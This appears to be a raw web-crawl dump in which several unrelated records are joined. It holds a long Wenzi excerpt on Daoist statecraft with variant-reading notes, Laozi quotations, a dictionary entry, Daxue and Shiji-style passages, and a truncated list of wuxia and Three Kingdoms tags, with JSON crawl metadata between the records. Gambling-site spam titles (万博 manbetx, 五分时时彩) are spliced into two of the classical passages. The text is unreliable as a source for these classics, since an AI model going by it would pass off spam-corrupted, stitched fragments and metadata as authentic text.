誠\n夫水濁者魚噞。政苛即(即作者)民亂。上多欲即下多詐。上煩擾即下不定。上多求即下交争。不治其本。而救之於末。無以异於鑿渠而止水。抱薪而救火也。聖人事省而治。求寡而贍。不施而仁。不言而信。不求而得。不爲而成。懷自然。保至真。抱道推誠。天下從之。如響之應聲。影之象形。所修者本也。\n冬日之陽。夏日之陰。萬物歸之。而莫之使也。至精之感。弗召自來。不去自往。不知所爲者。而功自成。待目而照見。待言而使令。其於以治難矣。皋陶喑而爲大理。天下無虐刑。師曠瞽而爲大宰。晋國無亂政。不言之令。不視之見。聖人所以爲師也。民之化上。不從其言。從其所行也。故人君好勇。而國家多難。人君好色。而國多昏亂。故聖人精誠形於内。好憎明於外。出言以副情。發號以明旨。是故刑罰不足以移風。殺戮不足以禁奸。唯神化爲貴也。夫至精爲神。精之所動。若春氣之生。秋氣之殺也。故治人者慎所以感也。\n聖人之從事也。所由异路而同歸。其存亡定傾若一。志不忘乎欲利人也。故秦。楚。燕。魏之歌。异轉而皆樂。九夷八狄之哭。异聲而皆哀。夫歌者樂之徵也。哭者哀之效也。愔愔於中而應於外。故在所以感之矣。聖人之心。日夜不忘乎欲利人。其澤之所及亦遠也。\n夫至人精誠内形。德流四方。見天下有利。喜而不忘。見天下有害。憂若有喪。夫憂民之憂者。民亦憂其憂。樂人之樂者。人亦樂其樂。故樂以天下。憂以天下。然而不王者。未之有也。大人行可悦之政。人而(人而作而人)莫不順其令。令順即從小而致大。令逆即以善爲害。以成爲敗。\n九 守(九作十)\n神者。智之淵也。神清則智明。智者心之符也。智公既心平。人莫鑒於流水而鑒於澄水(二十子全書水作潦)者。以其清且静也。故神清意平。乃能形物之情也。天道極即反。盈則損。物盛則衰。日中而移。月滿則虧。樂終而悲。是故聰明廣智守以愚。多聞博辨守以儉。武力勇毅守以畏。富貴廣大守以狹。德施天下守以讓。此五者。先王所以守天下也。\n符 言\n人之情。服於德。不服於力。故古之聖王。以其言下人。以其身後人。即天下推而不厭。戴而不重。此德有餘而氣順也。故知與之爲得(得作取)。知後之爲先。即幾道矣。\n道 德\n文子問道老子曰。夫道者。小行之小得福。大行之大得福。盡行之天下服。\n文子問德。仁。義。禮。老子曰。德者民之所貴也。仁者人之所懷也。義者民之所畏也。禮者民之所敬也。此四者。聖人之所以御萬物也。君子無德即下怨。無仁即下争。無義即下异(异作暴)。無禮即下亂。四經不立。謂之無道。無道而不亡者。未之有也。\n心之精者。可以神化而不可以説道。故同言而信。信在言前。同令而行。行在令外。聖人在上。民化如神。情以先之也。動於上不應於下者。情令殊也。三月嬰兒。未知利害。而慈母之憂(之憂作愛之)喻焉(喻焉作逾篤)者。情也。故言之用者小。不言之用者大矣。夫信。君子之言也。忠。君子之意也。忠信形於内。感動應乎外。賢聖之化也。\n能成霸王者。必得勝者也。能勝敵者。必强者也。能强者。必用人力者也。能用人力者。必得人心者也。能得人心者。必自得者也。能自得者。必柔弱者也。\n上 德\n日月欲明。浮雲蓋之。河水欲清。沙土穢之。叢蘭欲修。秋風敗之。人性欲平。嗜欲害之。蒙塵而欲無眯。不可得也。山致其高而雲雨起焉。水致其深而蛟龍生焉。君子致其道而德澤流焉。夫有陰德者必有陽報。有隱行者必有昭名。\n微 明\n相坐之法立。即百姓怨。减爵之令張。即功臣叛。故察於刀筆之迹者。即不知治亂之本。習於行陳之事者。即不知廟戰之權。聖人先見福於重關之内。慮患於冥冥之外。愚者惑於小利而忘大害。故事有利於小而害於大。得於此而亡於彼。故仁莫大於愛人也。智莫大於知人也。爱人即無冤刑。知人即無亂政。\n見本而知末。執一而應萬。謂之術。居知所爲。行知所之。事知所乘。動知所止。謂之道。言出於口。不可止於人。行發於近。不可禁於遠。事者難成易敗。名者難立易廢。凡人皆以輕小害。易微事。以至於大患也。\n夫積愛成福。積憎成禍。人皆知救患。莫知使患無生。夫使患無生。易於救患。今人不務使患無生。而務於救之。雖神聖人。不能爲谋也。患禍之所由來。萬萬無方。故聖人深居以避害。静默以待時。小人不知禍福之門。動作(無作字)而陷於刑。雖曲爲之備。不足以全身。故上士先避患而後就利。先遠辱而後求名。故聖人常從事於無形之外。而不留心盡慮(無盡慮二字)於已成之内。是以患禍無由至。非譽不能塵垢也。\n凡人之道。心欲小。志欲大。智欲圓。行欲方。能欲多。事欲少。所謂心小者。慮患未生。戒禍慎微。不敢縱其欲者也。志大者。兼包萬國。一齊殊俗。是非輻凑。中爲之轂也。智圓者。終始無端。方流四遠。深(深作淵)泉而不竭也。行方者。直立而不撓。素白而不污。窮不易操。達不肆志也。能多者。文武備具。動静中儀也。事少者。執約爲治廣。處静以持躁也。故心小者。禁於微也。志大者。無不懷也。智圓者。無不知也。行方者。有不爲也。能多者。無不治也。事少者。約所持也。故聖人之於善也。無小而不行。其於過也。無微而不改。行不用巫祝。而鬼神不敢先。可謂至貴矣。然而戰戰慄慄。日慎一日。是以無爲而有成。\n有功。離仁義者即見疑。有罪。不失仁心(不失仁心作有仁義)者必見信。故仁義者。事之常順也。天下之尊爵也。雖謀得計當。慮患而患解。圖國而國存。其事有離仁義者。其功必不遂矣。言雖(言雖字倒)無中於策。其計無益於國。而心周於君。合於仁義者。身必存矣。故曰。百言百當。不若舍趣而審仁義也。\n教本乎君子。小人被其澤。利本乎小人。君子享其功。使君子小人。各得其宜。即通功易食而道達矣。人多欲即傷義。多憂即害智。故治國樂其所以存。亡(亡作虐)國樂其所以亡。水下流而廣大。君下臣而聰明。君不與臣争功而治道通。故君根本也。臣枝葉也。根本不美而枝葉茂者。未之有也。\n慈父之愛子也。非求報也。不可内解於心。聖人之養民。非求爲己用也。性不能已也。及恃其力。賴其功勛。而必窮矣。有以爲。即恩不接矣。故用衆人之所愛。即得衆人之力。舉衆人之所善。即得衆人之心。見所始。即知所終矣。\n人之將疾也。必先不甘魚肉之味。國之將亡也。必先惡忠臣之語。故疾之將死者。不可爲良醫。國之將亡者。不可爲忠謀。古者親近不以言。來遠不以言。使近者悦。遠者來。與民同欲即和。與民同守即固。與民同念即智。得民力者富。得民譽者顯。行有召寇。言有致禍。\n道自然(二十子全書無道字)\n昔者。堯之治天下。其導民也。水處者漁。山處者木(山處者木作林處者采)。谷處者牧。陸處者田。地宜其事。事宜其械。械便其人。如是。則民得以所有易所無。以所巧易所拙也。是以離叛者寡。聽從者衆。若風之過箭(箭作蕭)忽然感之。各以清濁應矣。物莫不就其所利。避其所害。是以鄰國相望。鷄狗之音相聞。而足迹不接於諸侯之境。車軌不結於千里之外。皆安其居也。夫亂國若盛。治國若虚。亡國若不足。存國若有餘。虚者非無人。各守其職也。盛者非多人。皆徼於末也。有餘者非多財。欲節事寡也。不足者非無貨。民躁(躁作鮮)而費多也。故先王之法。非所作也。所因也。其禁誅。非所爲也。所守也。上德之道也。\n以道治天下。非易民性也。因其有而條暢之。故瀆水者因水之流。産稼者因地之宜。征伐者因民之欲。能因即無敵於天下矣。故先王之制法。因民之性。而爲之節文。無其性。無其養(養作資)不可使遵道也。人之性有仁義之資。非聖王爲之法度。不可使向方也。因其所惡以禁奸。故刑罰不用。威行如神矣。因其性。即天下聽從。咈其性。即法度張而不用。\n帝者貴其德也。王者尚其義也。霸者迫(迫作通)於理也。道狹然後任智。德薄然後任刑。明淺然後任察。\n王道者處無爲之事。行不言之教。因循任下。責成不勞。謀無失策。舉無過事。進退應時。動静循理。美醜弗好憎。賞罰不喜怒。其聽治也。虚心弱志。是故群臣輻凑并進。無愚智不肖。莫不盡其能。君得所以制臣。臣得所以事君。即治國之道明矣。\n智而好問者聖。勇而好同者勝。乘衆人之知。即無不任也。用衆人之力。即無不勝也。用衆人之力。烏獲不足恃也。乘衆人之勢。天下不足用也。故聖人舉事。未嘗不因其資而用之也。有一功者處一位。有一能者服一事。力勝其任。即舉者不重也。能勝其事。即爲者弗難也。聖人兼而用之。故人無弃人。物無弃財矣。\n所謂無爲者。非謂其引之不來。推之不往。迫而不應。感而不動。堅滯而不流。捲握而不散也。謂其私志不入公道。嗜欲不枉正術。循理而舉事。因資而立功。推自然之勢也。聖人不耻身之賤。惡道之不行。不憂命之短。憂百姓之窮也。故常虚而無爲。抱素見樸。不與物雜。\n古之立帝王者。非以奉養其欲也。聖人之踐位者。非以逸樂其身也。爲天下之民强掩(掩作陵)弱。衆暴寡。詐者欺愚。勇者侵怯。又爲其懷智詐不以相教。積財貨不以相分。故立天子以齊一之。爲一人明不能遍照海内。故立三公九卿以輔翼之。爲絶國殊俗不得被澤。故立諸侯以教誨之。是以地無不任。時無不應。官無隱事。國無遺利。所以衣寒食飢。養老弱。息勞倦。無不以也。神農形悴。堯瘦癯。舜梨黑。禹胼胝。伊尹負鼎而幹湯。吕望鼓刀而入周。百里奚傳賣。管仲束縛。孔子無黔突。墨子無暖席。非以貪禄慕位。將欲起天下之利。除萬民之害也。自天子至于庶人。四體不勤。思慮不用。於事贍者。未之聞也。\n下 德\n治身。太上養神。其次養形。神清意平。百節皆寧。養生之本也。肥膚。充腹腸。開(開作供)嗜欲。養生之末也。治國。太上養化。其次正法。民交讓。争處卑。財利争受少。事力争就勞。日化上而遷善。不知其所以然。治之也。利賞而勸善。畏刑而不敢爲非。法令正於上。百姓服於下。治之末也。上世養本。而下世事末。\n欲治之主不世出。可與治之臣不萬一。以不世出求不萬一。此至治所以千歲不一至。霸王之功不世立也。順其善意。防其邪心。與民同出一道。即民性可善。風俗可美矣。所貴聖人者。非貴其隨罪而作刑也。貴其知亂之所生也。若縱之放僻淫逸。而禁之以法。隨之以刑。雖殘天下。不能禁其奸矣。\n目悦五色。口欲滋味。耳淫五聲。七竅交争以害一性。日引邪欲竭其天和。身且不能治。柰天下何。所謂得天下者。非謂其履勢(勢下有位字)稱尊號也。言其運天下心。得天下力也。有南面之名。無一人之譽。此失天下者也。故桀紂不爲王。湯武不爲放也。天下得道。守在四夷。天下失道。守在左右。故曰。無恃其不吾奪。恃吾不可奪也。行可奪之道。而非篡殺之行。無益於持天下矣。\n治世之職易守也。其事易爲也。其禮易行也。其責易償也。是以人不兼官。官不兼事。農士(農士作士農)商工。鄉别州异。故農與農言藏。士與士言行。工與工言巧。商與商言數。是以士無遺行。工無苦事。農無廢功。商無折貨。各安其性也。夫先知遠見。人材之盛也。而治世不以責於民。博聞强志。口辨辭給。人智之溢也。而明主不以求於下。傲世賤物。不污於俗。士之伉行也。而治世不以爲民化。故高不可及者。不以爲人量。行不可逮者。不以爲國俗。故人材不可專用。而度量道術。可世傳也。故國治可與愚守。而軍旅可與性(與性作以法)同。不待古之英俊。而人自足者。所有而并用之也。末世之法。高爲量而罪不及。重爲任而罰不勝。危爲難而誅不敢。民困於三責。即飾智而詐上。犯邪而行危。雖峻法嚴刑。不能禁其奸。獸窮即觸。鳥窮即啄。人窮即詐。此之謂也。\n國有亡主。世無亡道。人有窮而理無不通也。故不因道理之數而專己之能。其窮不遠矣。夫君人者。不出户以知天下者。因物以識物。因人以知人也。故積力之所舉。既(既恐即)無不勝也。衆智之所爲。即無不成也。工無二技。士不兼官。人得所宜。物得所安。是以器械不惡。而職事不慢也。夫責小易償也。職寡易守也。任輕易勸也。上操約少之分。下效易爲之功。是以君臣久而不相厭也。\n地廣民衆。不足以爲强也。甲堅兵利。不足以恃勝也。高城深池。不足以爲固也。嚴刑利殺(利殺作峻罰)不足以爲威也。爲存政者。無小必存。爲亡政者。無大必亡。故善守者無與御。善戰者無與鬥。乘時勢。因民欲。而取天下也。故善爲政者積其德。善用兵者蓄其怒。德積而民可用也。怒蓄而威可立也。故材(材作文)之所加者淺(淺作深)。即權之所服者大。德之所施者博。即威之所制者廣。廣即我强而敵弱矣。善用兵者。先弱敵而後戰。費不半而功十倍。故千乘之國。行文德者王。萬乘之國。好用兵者亡。王兵先勝而後戰。敗兵先戰而後求勝。此不明於兵道也。\n上 行(作上仁)\n非漠真(漠真作淡漠)無以明德。非寧静無以致遠。非寬大無以并覆。非平正無以制斷。以天下之目視。以天下之耳聽。以天下之智慮。以天下之力争。故號令能下究而臣情得上聞。百官修通。群臣輻凑。喜不以賞賜。怒不以罪誅。法令察而不苛。耳目通(通作聰)而不暗。善否之情。日陳於前而不逆。賢者盡其智。不肖者竭其力。近者安其性。遠者懷其德。用人之道也。\n夫乘輿馬者。不勞而致千里。乘舟楫者。不能游而濟江海。使言之而是。雖在匹夫芻蕘。猶不可弃也。言之而非。雖在人君卿相。不可用也。是非之處。不可以貴賤尊卑論也。其計可用。不羞其位矣。其言可行。不貴其辨矣。\n文子問曰。何行而民親其上。老子曰。使之以時而敬慎之。如臨深淵。如履薄冰。天地之間。善即吾畜也。不善即吾讎也。昔日夏商之臣。反讎桀紂而臣湯武。宿沙氏之民。自攻其君而歸神農氏。故曰。人之所畏。亦不可以不畏。\n治大者道不可以小。地廣者制不可以狹。位高者事不可以煩。民衆者教不可以苛。事煩難治。法苛難行。求多難贍。寸而度之。至丈必差。銖而稱之。至石必過。石稱丈量。徑而寡失。大較易爲智。曲辨難爲惠(惠作慧)。故無益於治。有益於亂者。聖人不爲也。無益於用。有益於費者。智者不行也。故功不厭約。事不厭寡。功約易成。事省易治。求寡易贍。\n夫調音者。小絃急。大絃緩。立事者。賤者勞。貴者逸。道之言曰。芒芒昧昧。與天同氣。同氣者帝。同義者王。同功者霸。無一焉者亡。故不言而信。不施而仁。不怒而威。是以天心動化者也。施而仁。言而信。怒而威。是以精誠爲之者也。施而不仁。言而不信。怒而不威。是以外貌爲之者也。故有道以理之。法雖少足以治矣。無道以臨之。命雖衆。足以亂矣。\n鯨魚失水而制於螻蟻。人君舍其所守而與民争事。則制於有司。以無爲持位守職者。以聽從取容。臣下藏智而弗用。反以事專其上。君人者不任能而好自爲。則智日困而數窮於下。智不足以爲治。威不足以行刑。即無以與下交矣。喜怒形於心。嗜欲見於外。即守職者離正而阿上。有司枉法而從風矣。賞不當功。誅不應罪。即上下乖心。群臣相怨矣。百官煩亂而智不能解。非譽萌生而明弗能照。非己之失而反自責。即人主愈勞。人臣愈逸矣。是代大匠斫者。希不傷其手也。與馬逐遠。筋絶不能及也。上車攝輿。馬服銜(銜作衡)下。伯樂相之。王良御之。明主乘之。無御相之勞。而致千里。善乘人之資也。\n國之所以存者。得道也。所以亡者。理塞也。故得生(生疑存)道者。雖小必大。有亡徵者。雖成必敗。國之亡也。大不足恃。道之行也。小不可輕。故存在得道。不在於小。亡在失道。不在於大。故亂國之主。務於廣地而不務於仁義。務於高位而不務於道德。是舍其所以存。而造其所以亡也。\n主與之以時。民報之以財。主遇之以禮。民報之以死。生而貴者驕。生而富者奢。故富貴不以明道自鑒。而能無爲非者。寡矣。\n上 義\n凡學者能明於天人之分。通於治亂之本。見其終始。可謂達矣。治之本。仁義也。其末。法度也。先本後末。謂之君子。先末後本。謂之小人。法之生也以輔義。重法弃義。是貴其冠履而忘其頭足也。仁義者廣崇也。不益其厚。而張其廣者毁。不廣其基。而增其高者覆。故不大其棟。不能任重。重莫若國。棟莫若德。人主之有民。猶城之有基。木之有根。根深即本固。基厚即上安。故事不本於道德者。不可以爲經。言不合於先王者。不可以爲道。\n治人之道。其猶造父之御馬也。内得於中心。外合乎馬志。故能取道致遠。氣力有餘。進退還曲。莫不如意。誠得其術也。今夫權勢者。人主之車輿也。大臣者。人主之駟馬也。身不可以離車輿之安。手不可以失駟馬之心。故輿馬(與馬作駟馬)不調。造父不能以取道。君臣不和。聖人不能以爲治。執道以御之。中材可盡。明分以示之。奸邪可止。物至而觀其變。事來而應其化。近者不亂。則遠者治矣。不用適然之教。而行自然之道。萬舉而無失矣。\n治國有常。而利民爲本。政教有道。而令行爲右。苟利於民。不必法古。苟周於事。不必循俗。故聖人法與時變。禮與俗化。衣服器械。各便其用。法度制令。各因其宜。故變古未可非。循俗未足多。誦先王之書。不若聞其言。聞其言。不若得其所以言。得其所以言者。言弗能言也。故道可道者。非常道也。名可名者。非常名也。故聖人所由曰道。所爲曰事。道由金石。壹調不可更。事猶琴瑟。每(每作曲)終改調。故法制禮樂者。治之具也。非所以爲治也。\n法非從天下。非從地出。發於人間。反己自正也。誠達其本。不亂於末。知其要。不惑於疑。有諸己。不非諸人。無諸己。不責於下。所禁於民者。不行於身。故人主之制法也。先以自爲檢戒(戒作式)。故禁勝於身。即令行於民矣。夫法者。天下之準繩也。人主之度量也。懸法者。法不法也。法定之後。中繩者賞。缺繩者誅。雖尊貴者不輕其賞。卑賤者不重其刑。犯法者。雖賢必誅。中度者。雖不肖無罪。是故公道行而私欲塞也。古之置有司也。所以禁民使不得恣也。其立君也。所以制有司使不得專行也。法度道術。所以禁君使無得横斷也。人莫得恣。即道勝而理得矣。故反於無爲。無爲者。非謂其不動也。言其莫從己出也。\n善賞者。費少而勸多。善罰者。刑省而奸禁。善與者。用約而爲德。善取者。入多而無怨。故聖人因民之所善以勸善。因民之所憎以禁奸。賞一人而天下趣之。罰一人而天下畏之。至賞不費。至刑不濫。聖人守約而治廣。此之謂也。\n君臣异道即治。同道即亂。各得其宜。處(處下有有字)其當。即上下有以相使也。故枝不得大於幹。末不得强於本。言輕重大小有以相制也。夫得威勢者。所恃甚小。所任甚大。所守甚約。所制甚廣。十圍之木。持千鈞之屋。得勢也。五寸之關。能制開闔。所居要也。下必行之令。從之者利。逆之者害。天下莫不聽從者。順也。義者。非能盡利天下之民也。利一人而天下從。暴者。非能盡害海内也。害一人而天下叛。故舉措廢置。不可不審也。\n屈寸而伸尺。小枉而大直。聖人爲之。今人君之論臣也。不計其大功。總其細行。而求其不(不作小)善。即失賢之道也。故人有厚德。無問其小節。人有大譽。無疵其小故。夫人情莫不有所短。誠其大略是也。雖有小過。不足以爲累。誠其大略非也。閭里之行。未足多也。\n自古及今。未有能全其行者也。故君子不責備於一人。夫夏后氏之璜。不能無瑕。明月之珠。不能無穢。然天下寶之者。不以小惡妨大美也。今志人之所短。而忘人之所長。而欲求賢於天下。即難矣。夫衆人見位卑賤。事之洿辱。而不知其大略也。故論人之道。貴即觀其所舉。富即觀其所施。窮則觀其所不受。賤即觀其所不爲。視其所患難以知其勇。動以喜樂以觀其守。委以貨財以觀其仁。振以恐懼以觀其節。如此即人情得矣。\n聖人以仁義爲準繩。中繩者謂之君子。弗中者謂之小人。君子雖死亡。其名不滅。小人雖得勢。其罪不除。左手據天下之圖。而右手刎其喉。愚者不爲。身貴乎天下也。死君親之難者。視死若歸。義重於身故也。天下大利。比(比下有之仁二字)身即小。身所重也。比義即輕。此以仁義爲準繩者也。\n地廣民衆。主賢將良。國富兵强。約束信。號令明。兩敵相當。未接刃而敵人奔亡。此其次也。知土地之宜。習險隘之利。明奇正之變。察行陣之事。白刃合。流矢接。輿死扶傷。流血千里。暴骸盈野。義(義作戰)之下也。\n國之所以强者。必死也。所以必死者。義也。義之所以行者。威也。威義并行。是謂必强。白刃交接。矢石若雨。而士争先者。賞信而罰明也。上視下如子。下事上如父。上視下如弟,下視上如兄。上視下如子。必王四海。下視上如父。必正天下。上視下如弟。即不難爲之死。下視上如兄。即不難爲之亡。故子父兄弟之寇。不可與鬥。是故義君内修其政。以積其德。外塞其邪。以明其勢。察其勞逸。以知飢飽。戰期有日。視死如歸。恩之加也。\n上 禮\n昔之聖王。仰取象於天。俯取度於地。中取法於人。調陰陽之氣。和四時之節。察高下之宜。除飢寒之患。行仁義之道。以治人倫。列地而州之。分職而治之。立大學而教之。此其治之綱紀也。得道即舉。失道即廢。夫物未嘗有張而不弛。盛而不敗者也。唯聖人可盛而不衰。\n聖人初作樂也。以歸神杜淫。反其天心。至其衰也。流而不反。淫而好色。至以亡國。其作書也。以領理百事。愚者以不忘。智者以記事。及其衰也。爲奸僞以解有罪而殺不辜。其作囿也。以奉宗廟之具。簡士卒。戒不虞。及其衰也。馳騁弋獵。以奪民時。其上賢也。以平教化。正獄訟。賢者在位。能者在職。澤施於下。萬民懷德。至其衰也。朋黨比周。各推其與。廢公趍私。外内相舉。奸人在位。賢者隱處。\n天地之道。極即反。益即損。故聖人治弊而改制。事終而更爲矣。聖人之道。非修禮義。廉耻不立。民無廉耻。不可治也。不知禮義。不可以行法。法能教不孝。不能使人孝。能刑盗者。不能使人廉耻。聖王在上。明好惡以示人經。非譽以導之。親賢而進之。賤不肖而退之。刑措而不用。禮義修而任賢德也。\n夫有餘則讓。不足則争。讓則禮義生。争則暴亂起。故物多則欲省。求贍則争止。故世治則小人守正。而利不能動也。世亂則君子爲奸。而法不能禁也。\n酆水之深十仞。而不受塵垢。金鐵(鐵作石)在中。形見於外。非不深且清也。魚鱉莫之歸。石上不生五穀。禿山不游麋鹿。無所蔭蔽也。故爲政以苛爲察。以切爲明。以刻下爲忠。以計多爲功。如此者。譬猶廣革者也。大即大矣。裂之道也。\n夫使天下畏刑。而不敢盗竊。豈若使無有盗心哉。故知其無所用。雖貪者皆辭之。不知其無所用。廉者不能讓。夫人之所以亡社稷。身死人手。爲天下笑者。未嘗非欲也。知冬日之扇。夏日之裘。無用於己。則萬物之變爲塵垢。故以湯止沸。沸乃益甚。知其本者。去火而已。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.qunshuzhiyao.com\/zywenku\/zhgj0022051.html","date":"2017-04-24T03:38:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118963.4\/warc\/CC-MAIN-20170423031158-00445-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.6082066298,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6082066297531128, \"cmn_Hani_score\": 0.20317816734313965, \"nan_Hani_score\": 0.07572747021913528, \"jpn_Jpan_score\": 0.03571321815252304, \"wuu_Hani_score\": 0.021639663726091385}","num_words":81,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.181,"stopwords_ratio":0.012,"flagged_words_ratio":0.0,"lang_id_score":0.607,"perplexity_score":500.0,"cluster_detection":1} +{"text":"天地之間,其猶橐籥乎!虛而不屈,動而愈出。多言數窮,不如守中。\n上善若水,水善利萬物而不爭,處眾人之所惡,故幾於道。\n執古之道,以御今之有。能知古始,是謂道紀。\n知常容,容乃公,公乃全,全乃天,天乃道,道乃久,沒身不殆。\n孔德之容,惟道是從。\n道可道,非常道;名可名,非常名\n夫唯不爭,故天下莫能與之爭\n大丈夫處其厚,不居其薄;處其實,不居其華\n欲上民,必以言下之;欲先民,必以身後之\n以智治國,國之賊;不以智治國,國之福\n為之於未有,治之於未亂\n治大國,若烹小鮮\n禍兮福之所倚,福兮禍之所伏\n天下皆知美之為美,斯惡矣;皆知善之為善,斯不善矣\n為無為,則無不治\n大道廢,有仁義;智慧出,有大偽\n見素抱樸,少私寡慾\n人法地,地法天,天法道,道法自然\n知人者智,自知者明;勝人者有力,自勝者強\n老子的名言","id":"","dump":"CC-MAIN-2017-26","url":"http:\/\/mingyanjiaju.xyun.org\/mingren\/611685.html","date":"2017-06-26T07:05:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128320685.63\/warc\/CC-MAIN-20170626064746-20170626084746-00245.warc.gz","language":"lzh","language_score":0.4445903003,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.444590300321579, \"cmn_Hani_score\": 0.3373822271823883, \"nan_Hani_score\": 0.19983813166618347}","num_words":20,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.651,"perplexity_score":500.0,"cluster_detection":1} +{"text":"万博意甲manbetx机构密集调研建筑建材行业不建议大举抄底\n右秦襄公至二世,六百一十岁。\n闵损字子骞。少孔子十五岁。\n九年,与晋伐郑。晋悼公冠襄公於卫,季武子从,相行礼。\n子曰:\"吾未见好德如好色者也。\"\n世有大人兮,在于中州。宅弥万里兮,曾不足以少留。悲世俗之迫隘兮,朅轻举而远游。垂绛幡之素蜺兮,载云气而上浮。建格泽之长竿兮,总光耀之采旄。垂旬始以为幓兮,抴彗星而为髾。掉指桥以偃蹇兮,又旖旎以招摇。揽欃枪以为旌兮,靡屈虹而为绸。红杳渺以眩湣兮,猋风涌而云浮。驾应龙象舆之蠖略逶丽兮,骖赤螭青虬之鞮蟉蜿蜒。低卬夭蟜据以骄骜兮,诎折隆穷蠼以连卷沛艾赳螑仡以佁儗兮,放散畔岸骧以孱颜。跮踱輵辖容以委丽兮,绸缪偃蹇怵鞨以梁倚。纠蓼叫奡蹋以艐路兮,蔑蒙踊跃腾而狂趡。莅飒卉翕熛至电过兮,焕然雾除,霍然云消。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/mobile.zheng-yan.cn\/cxtsq\/429422.html","date":"2020-04-02T07:22:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370506673.7\/warc\/CC-MAIN-20200402045741-20200402075741-00474.warc.gz","language":"lzh","language_score":0.4092516005,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4092516005039215, \"cmn_Hani_score\": 0.20230025053024292, \"nan_Hani_score\": 0.1630064845085144, \"yue_Hani_score\": 0.029137253761291504, \"wuu_Hani_score\": 0.025666752830147743, \"jpn_Jpan_score\": 0.023922942578792572, \"zxx_Latn_score\": 0.020764123648405075, \"und_Cyrl_score\": 0.013360456563532352}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.471,"perplexity_score":500.0,"cluster_detection":1} +{"text":"【注音】\n【拼音】 táo lǐ mǎn tiān xià\n基本釋義\n桃李:指培養的後輩或所教的學生。比喻學生很多,各地都有。\n桃李,指學生。參見「桃李」條。桃李滿天下指學生眾多。唐.白居易〈奉和令公綠野堂種花〉詩:「令公桃李滿天下,何用堂前更種花。」\n比喻所教過的學生非常多。\n[造句]李老師從事教育數十年,桃李滿天下,到處都有他的學生。\n您可能感興趣的詞語\n桃李滿天下 桃李遍天下 譽滿天下 相交滿天下,知心能幾人 桃李無言,下自成蹊 桃李滿門 桃李不言,下自成蹊 桃李不言,下自成行 名滿天下 譽塞天下 王天下 聞名天下 威震天下 威振天下 豔如桃李 言語妙天下 有理走遍天下 一手難掩天下人耳目 一齊天下 一匡天下 一統天下 掃除天下 色豔桃李 縱橫天下 坐天下 走遍天下 壽滿天年 手援天下 闖天下 春夜宴桃李園序 澄清天下 長梗滿天星 轍環天下 周郎妙計高天下,賠了夫人又折兵 先天下之憂而憂 秀才不出門,能知天下事","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/www.3du.tw\/dict\/%E6%A1%83%E6%9D%8E%E6%BB%BF%E5%A4%A9%E4%B8%8B","date":"2020-07-11T02:35:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655919952.68\/warc\/CC-MAIN-20200711001811-20200711031811-00203.warc.gz","language":"lzh","language_score":0.5520670414,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5520670413970947, \"cmn_Hani_score\": 0.28148147463798523, \"nan_Hani_score\": 0.1537030041217804, \"yue_Hani_score\": 0.010998379439115524}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.203,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.603,"perplexity_score":500.0,"cluster_detection":1} +{"text":"知止而后有定,定而后能静,静而后能安,安而后能虑,虑而后能得。物有本末,事有终始。知所先后,则近道矣。\n古之欲明明德于天下者,先治其国;欲治其国者,先齐其家;欲齐其家者,先修其身;欲修其身者,先正其心;欲正其心者,先诚其意;欲诚其意者,先致其知。致知在格物。物格而后知至,知至而后意诚,意诚而后心正,心正而后身修,身修而后家齐,家齐而后国治,国治而后天下平。自天子以至于庶人,壹是皆以修身为本。\n五分时时彩 其本乱而末治者,否矣。其所厚者薄,而其所薄者厚,未之有也。此谓知本,此谓知之至也。\n(责任编辑:丛丛)","id":"","dump":"CC-MAIN-2020-40","url":"http:\/\/www.hittyo.com\/guoxue\/society\/2020-08-21\/38492.html","date":"2020-09-25T22:14:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400228998.45\/warc\/CC-MAIN-20200925213517-20200926003517-00443.warc.gz","language":"lzh","language_score":0.5024891496,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5024891495704651, \"cmn_Hani_score\": 0.41421329975128174, \"wuu_Hani_score\": 0.03377528488636017, \"nan_Hani_score\": 0.031255386769771576, \"jpn_Jpan_score\": 0.010171173140406609}","num_words":5,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.515,"perplexity_score":500.0,"cluster_detection":1} +{"text":"所有標籤\n以下為所有討論主題標籤,你可以選擇喜歡的來看看大家在討論什麼?\n擒拿截脈法 甄姬 倉亭之戰 陳到 常赫志 鴛鴦腿 關銀屏 文泰來 嵩山派 常伯志 魯有腳 周芷若 御盡萬法根源智經 周伯通 楚留香傳奇 的盧 丁典 滿天花雨 白萬劍 方天畫戟 周瑜 碧海潮生曲 興勢之戰 貝海石 孤星傳 硃砂掌 桃實仙 天山童姥 凝真九變 徐天宏 黃忠 鄧芝 林朝英 周倉 鳩摩智 丹青生 練師 王重陽 碧血劍 易京之戰 寧中則 狼牙 海大富 倚天屠龍記 鍾會 流雲飛袖 李典 奪命十三劍 風萍掌 奇功絕藝榜 玉女素心劍法 嫁衣神功 青釭劍 五帝鐧 武田信玄 鍾繇 張三李四 阿朱 